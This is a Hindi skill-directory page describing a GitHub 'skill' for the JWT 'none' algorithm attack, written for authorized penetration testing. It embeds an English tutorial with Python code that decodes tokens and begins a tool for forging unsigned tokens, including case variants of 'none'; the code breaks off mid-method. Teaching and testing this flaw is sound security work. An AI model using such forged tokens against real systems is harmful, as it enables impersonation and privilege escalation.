मुख्य सामग्री पर जाएँ
Skillpedia
टेस्टिंग35k · #8250

performing-jwt-none-algorithm-attack

यह क्या करती है

यह हमला उन सिस्टम की सुरक्षा को बायपास करने की कोशिश करता है जो ऑथेंटिकेशन के लिए JWT टोकन इस्तेमाल करते हैं। यह एक बदला हुआ टोकन भेजता है जो सिस्टम को सिग्नेचर वेरिफिकेशन छोड़ने का निर्देश देता है, जिससे हमलावर टोकन के अंदर की जानकारी बदल सकता है।

कब इस्तेमाल करें

  • ✓किसी वेबसाइट या ऐप की सुरक्षा टेस्ट करते समय जो JWT इस्तेमाल करती है।
  • ✓जब आपको शक हो कि JWT सिग्नेचर वेरिफिकेशन ठीक से काम नहीं कर रहा।
  • ✓अधिकृत पेनिट्रेशन टेस्ट के दौरान कमज़ोरियां ढूंढने के लिए।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“JWT टोकन को 'none' एल्गोरिदम के साथ भेजकर देखो कि सिस्टम उसे बिना सिग्नेचर के स्वीकार करता है या नहीं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

यह हमला उन JWT लाइब्रेरी का फायदा उठाता है जो एक खास हेडर ('alg': 'none') को स्वीकार कर लेती हैं। इससे सिस्टम टोकन का सिग्नेचर वेरिफाई करना छोड़ देता है, और टोकन बदला जा सकता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm

…
अक्सर पूछे जाने वाले सवाल

JWT क्या है?

JWT (JSON Web Token) जानकारी को सुरक्षित तरीके से भेजने का एक मानक तरीका है। इसका इस्तेमाल अक्सर वेब ऐप्स में ऑथेंटिकेशन और ऑथराइज़ेशन के लिए होता है।

'none एल्गोरिदम' हमला क्या है?

यह एक ऐसा हमला है जो उस खामी का फायदा उठाता है जहां सिस्टम JWT टोकन को बिना वैध सिग्नेचर के भी स्वीकार कर लेता है, बस शर्त इतनी है कि टोकन के हेडर में 'none' एल्गोरिदम लिखा हो।

इस हमले को करने की क्या शर्तें हैं?

आपके पास सिस्टम को टेस्ट करने की अनुमति होनी चाहिए, रिक्वेस्ट को इंटरसेप्ट और बदलने की क्षमता होनी चाहिए (जैसे Burp Suite या mitmproxy से), और JWT की बुनियादी संरचना की समझ होनी चाहिए।

जानकारी

लेखक का मूल विवरण

Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8250
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills